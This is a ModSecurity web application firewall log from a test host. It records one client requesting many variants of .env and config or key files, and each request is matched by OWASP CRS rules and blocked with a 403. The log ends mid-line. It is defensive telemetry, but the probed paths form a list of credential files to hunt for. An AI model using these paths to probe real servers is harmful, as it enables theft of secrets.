[Wed Feb 25 06:04:38.645823 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bkp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW-wAAAAQ&quot;]
[Wed Feb 25 06:04:38.646141 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW-wAAAAQ&quot;]
[Wed Feb 25 06:04:38.646332 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW-wAAAAQ&quot;]
[Wed Feb 25 06:04:38.688690 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aZ6C5mXxsr5IXP-ltRiaRQAAAAA&quot;]
[Wed Feb 25 06:04:38.688969 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aZ6C5mXxsr5IXP-ltRiaRQAAAAA&quot;]
[Wed Feb 25 06:04:38.689148 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aZ6C5mXxsr5IXP-ltRiaRQAAAAA&quot;]
[Wed Feb 25 06:04:38.715884 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW_AAAAAQ&quot;]
[Wed Feb 25 06:04:38.716161 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW_AAAAAQ&quot;]
[Wed Feb 25 06:04:38.716336 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW_AAAAAQ&quot;]
[Wed Feb 25 06:04:38.768225 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aZ6C5mXxsr5IXP-ltRiaRgAAAAA&quot;]
[Wed Feb 25 06:04:38.768506 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aZ6C5mXxsr5IXP-ltRiaRgAAAAA&quot;]
[Wed Feb 25 06:04:38.768689 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aZ6C5mXxsr5IXP-ltRiaRgAAAAA&quot;]
[Wed Feb 25 06:04:38.796806 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.email&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW_QAAAAQ&quot;]
[Wed Feb 25 06:04:38.797057 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW_QAAAAQ&quot;]
[Wed Feb 25 06:04:38.797210 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW_QAAAAQ&quot;]
[Wed Feb 25 06:04:38.841496 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.hidden&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW_gAAAAQ&quot;]
[Wed Feb 25 06:04:38.841791 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW_gAAAAQ&quot;]
[Wed Feb 25 06:04:38.842007 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW_gAAAAQ&quot;]
[Wed Feb 25 06:04:38.957469 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.hide&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW_wAAAAQ&quot;]
[Wed Feb 25 06:04:38.957769 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW_wAAAAQ&quot;]
[Wed Feb 25 06:04:38.957954 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aZ6C5p6MLyC5r86Hx-ZW_wAAAAQ&quot;]
[Wed Feb 25 06:04:38.978361 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aZ6C5mXxsr5IXP-ltRiaSQAAAAA&quot;]
[Wed Feb 25 06:04:38.978876 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aZ6C5mXxsr5IXP-ltRiaSQAAAAA&quot;]
[Wed Feb 25 06:04:38.979043 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aZ6C5mXxsr5IXP-ltRiaSQAAAAA&quot;]
[Wed Feb 25 06:04:39.013828 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXAAAAAAQ&quot;]
[Wed Feb 25 06:04:39.014161 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXAAAAAAQ&quot;]
[Wed Feb 25 06:04:39.014334 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXAAAAAAQ&quot;]
[Wed Feb 25 06:04:39.050074 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXAQAAAAQ&quot;]
[Wed Feb 25 06:04:39.050499 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXAQAAAAQ&quot;]
[Wed Feb 25 06:04:39.050812 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXAQAAAAQ&quot;]
[Wed Feb 25 06:04:39.051025 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXAQAAAAQ&quot;]
[Wed Feb 25 06:04:39.078918 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag 